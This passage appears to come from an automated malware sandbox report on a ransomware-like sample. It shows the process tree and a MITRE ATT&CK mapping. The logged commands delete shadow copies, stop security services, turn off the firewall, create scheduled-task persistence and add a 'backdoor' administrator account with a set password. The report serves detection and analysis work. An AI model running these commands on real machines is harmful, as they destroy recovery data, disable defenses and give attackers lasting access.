  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1596
- - C:\Users\Admin\AppData\Local\Temp\xoilac-vi.com_nano.exe
    "C:\Users\Admin\AppData\Local\Temp\xoilac-vi.com_nano.exe"
    3⤵
    PID:2452
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:3288
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:3400
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4400
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of AdjustPrivilegeToken
  PID:3248
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\xoilac-vi.com_nano.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4704
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\xoilac-vi.com_nano.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2656
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3480
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4844
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious use of AdjustPrivilegeToken
    PID:3328
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1904
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:4588
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4676
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4412
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2348
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1116
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4584
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:32
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1168
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    - Suspicious use of AdjustPrivilegeToken
    PID:212
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\xoilac-vi.com_nano.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4184
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:540
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:1068
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:864
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:4268
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:2280
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:3540
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:440
- C:\Windows\system32\svchost.exe
  "C:\Windows\system32\svchost.exe"
  2⤵
  PID:1548
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:3372
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4400
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" user backdoor P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  - Suspicious use of WriteProcessMemory
  PID:5100
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user backdoor P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:1428
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" localgroup administrators backdoor /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2460
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup administrators backdoor /add
    3⤵
    PID:5108

C:\Users\Admin\AppData\Local\Temp\xoilac-vi.com_nano.exe
C:\Users\Admin\AppData\Local\Temp\xoilac-vi.com_nano.exe
1⤵
PID:1560

C:\Users\Admin\AppData\Local\Temp\xoilac-vi.com_nano.exe
C:\Users\Admin\AppData\Local\Temp\xoilac-vi.com_nano.exe
1⤵
PID:2304

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:4412

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create Account

T1136

Local Account

T1136.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Debugger Evasion

T1622

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Debugger Evasion

T1622

Permission Groups Discovery

T1069

Local Groups

T1069.001

Process Discovery

T1057

Query Registry

T1012

System Information Discovery